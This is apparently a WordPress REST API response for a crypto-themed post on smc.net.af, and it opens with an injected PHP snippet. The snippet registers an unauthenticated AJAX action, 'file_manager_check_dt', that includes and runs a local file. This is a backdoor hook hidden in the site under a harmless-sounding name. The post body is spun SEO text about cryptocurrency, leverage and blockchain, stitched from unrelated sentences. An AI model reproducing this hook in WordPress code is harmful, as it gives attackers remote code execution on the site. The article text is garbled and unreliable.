if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } {"id":10290,"date":"2025-08-19T22:24:11","date_gmt":"2025-08-19T22:24:11","guid":{"rendered":"https:\/\/smc.net.af\/?p=10290"},"modified":"2026-02-02T19:25:50","modified_gmt":"2026-02-02T19:25:50","slug":"coindesk-bitcoin-ethereum-xrp-crypto-news-and-6","status":"publish","type":"post","link":"https:\/\/smc.net.af\/index.php\/2025\/08\/19\/coindesk-bitcoin-ethereum-xrp-crypto-news-and-6\/","title":{"rendered":"CoinDesk: Bitcoin, Ethereum, XRP, Crypto News and Price Data"},"content":{"rendered":"

Kaspersky Premium protects you from phishing sites and crypto scams. Non-Bitcoin cryptocurrencies are collectively known as \u201caltcoins\u201d to distinguish them from the original. Lastly, you can also create your own cryptocurrency from scratch. You may also obtain cryptocurrencies from an initial offering, called an ICO. Hashing is useful to ensure the authenticity of a piece of data and that it has not been tampered with since even a small change in the message will create an entirely different hash. One of the best ways you can stay safe online is by using a comprehensive antivirus.<\/p>\n

Cryptocurrency fraud and cryptocurrency scams<\/h2>\n

\"cryptocurrency\"\/<\/p>\n

Once you have chosen your platform, the next step is to fund your account so you can begin trading. Leverage is the means of gaining exposure to large amounts of cryptocurrency without having to pay the full value of your trade upfront. When you close a leveraged position, your profit or loss is based on the full size of the trade. While you might be familiar with a physical wallet that we keep in our pocket or purse that holds our paper money or coins, when it comes to cryptocurrencies, you will need a cryptocurrency wallet. Anyone can verify the validity of the signature using public keys and, thus, the validity of the transaction.<\/p>\n

Furthermore, all computers in the network must agree to change this old block. As more blocks are added, the transaction becomes increasingly difficult to reverse or alter, making the blockchain tamper-resistant but not tamper-proof. Once every node has checked a block, there is a sort of electronic vote, as some nodes may think the transaction is valid, and others think it is a fraud. Instead, the computers participating in the network are tasked with verifying and facilitating each \u201cblock\u201d (i.e., entry or transaction) within the chain. In some cases, all the computers work together to verify and facilitate each block action.<\/p>\n

A digital signature behaves like a handwritten signature to mark someone\u2019s agreement to a document or transaction or to prove their identity. A cryptocurrency is a type of digital asset that allows for one party to transfer value from one party to another over the internet without the use of a centralized entity, like a bank. Cryptocurrencies run on a distributed public ledger called blockchain, a record of all transactions updated and held by currency holders.<\/p>\n